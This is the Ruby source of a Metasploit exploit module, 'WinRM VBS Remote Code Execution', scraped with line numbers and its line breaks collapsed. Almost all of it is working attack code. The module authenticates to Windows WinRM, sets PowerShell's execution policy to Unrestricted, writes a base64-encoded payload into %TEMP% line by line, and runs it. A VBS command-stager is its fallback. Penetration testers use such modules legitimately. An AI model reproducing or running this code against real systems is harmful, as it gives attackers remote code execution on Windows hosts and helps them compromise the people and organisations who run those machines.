1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 |
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::WinRM include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'WinRM VBS Remote Code Execution', 'Description'=> %q{ This module uses valid credentials to login to the WinRM service and execute a payload. It has two available methods for payload delivery: Powershell 2.0 and VBS CmdStager. The module will check if Powershell 2.0 is available, and if so uses that method. Otherwise it falls back to the VBS Cmdstager which is less stealthy. IMPORTANT: If targeting an x64 system with the Powershell method you MUST select an x64 payload. An x86 payload will never return. }, 'Author' => [ 'thelightcosine' ], 'License'=> MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 30, 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/smart_migrate', }, 'Platform' => 'win', 'Arch'=> [ ARCH_X86, ARCH_X86_64 ], 'Targets'=> [ [ 'Windows', { } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 01 2012' )) register_options( [ OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]) ], self.class ) register_advanced_options( [ OptString.new( 'DECODERSTUB',[ true, 'The VBS base64 file decoder stub to use.', File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]), ], self.class) end def check unless accepts_ntlm_auth print_error "The Remote WinRMserverdoes not appear to allow Negotiate(NTLM) auth" return Msf::Exploit::CheckCode::Safe end return Msf::Exploit::CheckCode::Vulnerable end def exploit unlesscheck == Msf::Exploit::CheckCode::Vulnerable return end if powershell2? return unless correct_payload_arch? path = upload_script return if path.nil? exec_script(path) else execute_cmdstager end handler end def execute_command(cmd,opts) commands = cmd.split(/&/) commands.each do |command| if command.include? "cscript" streams = winrm_run_cmd_hanging(command) print_status streams.inspect elsif command.include? "del %TEMP%" next else winrm_run_cmd(command) end end end def upload_script tdir = temp_dir return if tdir.nil? path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1" print_status "Uploading powershell script to #{path} (This may take a few minutes)..." script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded) #add a sleep to the script to give us enoguh time to establish a session script << "\n Start-Sleep -s 600" script.each_line do |psline| #build our psh command to write out our psh script, meta eh? script_line = "Add-Content #{path} '#{psline.chomp}' " cmd = encoded_psh(script_line) streams = winrm_run_cmd(cmd) end return path end def exec_script(path) print_status "Attempting to execute script..." cmd = "powershell -File #{path}" winrm_run_cmd_hanging(cmd) end def encoded_psh(script) script = script.chars.to_a.join("\x00").chomp script << "\x00" unless script[-1].eql? "\x00" script = Rex::Text.encode_base64(script).chomp cmd = "powershell -encodedCommand #{script}" end def temp_dir print_status "Grabbing %TEMP%" resp,c = send_request_ntlm(winrm_open_shell_msg) if resp.nil? print_error "Got no reply from the server" return nil end unless resp.code == 200 print_error "Got unexpected response: \n #{resp.to_s}" return nil end shell_id = winrm_get_shell_id(resp) cmd = "echo %TEMP%" resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id)) cmd_id = winrm_get_cmd_id(resp) resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id)) streams = winrm_get_cmd_streams(resp) return streams['stdout'].chomp end def check_remote_arch wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"} resp,c = send_request_ntlm(winrm_wql_msg(wql)) #Default to x86 if we can't be sure return "x86" if resp.nil? or resp.code != 200 resp_tbl = parse_wql_response(resp) addr_width =resp_tbl.rows.flatten[0] if addr_width == "64" return "x64" else return "x86" end end def correct_payload_arch? target_arch = check_remote_arch case target_arch when "x64" unless datastore['PAYLOAD'].include? "x64" print_error "You selected an x86 payload for an x64 target!" return false end when "x86" if datastore['PAYLOAD'].include? "x64" print_error "you selected an x64 payload for an x86 target" return false end end return true end def powershell2? if datastore['FORCE_VBS'] print_status "User selected the FORCE_VBS option" return false end print_status "checking for Powershell 2.0" streams = winrm_run_cmd("powershell Get-Host") if streams == 401 print_error "Login failed!" return false end unless streams.class == Hash print_error "Recieved error while running check" return false end if streams['stderr'].include? "not recognized" print_error "Powershell is not installed" return false end streams['stdout'].each_line do |line| next unless line.start_with? "Version" major_version = line.match(/\d(?=\.)/)[0] if major_version == "1" print_error "The target is running an older version of powershell" return false end end print_status "Attempting to set Execution Policy" streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted") if streams == 401 print_error "Login failed!" return false end unless streams.class == Hash print_error "Recieved error while running check" return false end streams = winrm_run_cmd("powershell Get-ExecutionPolicy") if streams['stdout'].include? 'Unrestricted' print_good "Set Execution Policy Successfully" return true end return false end end |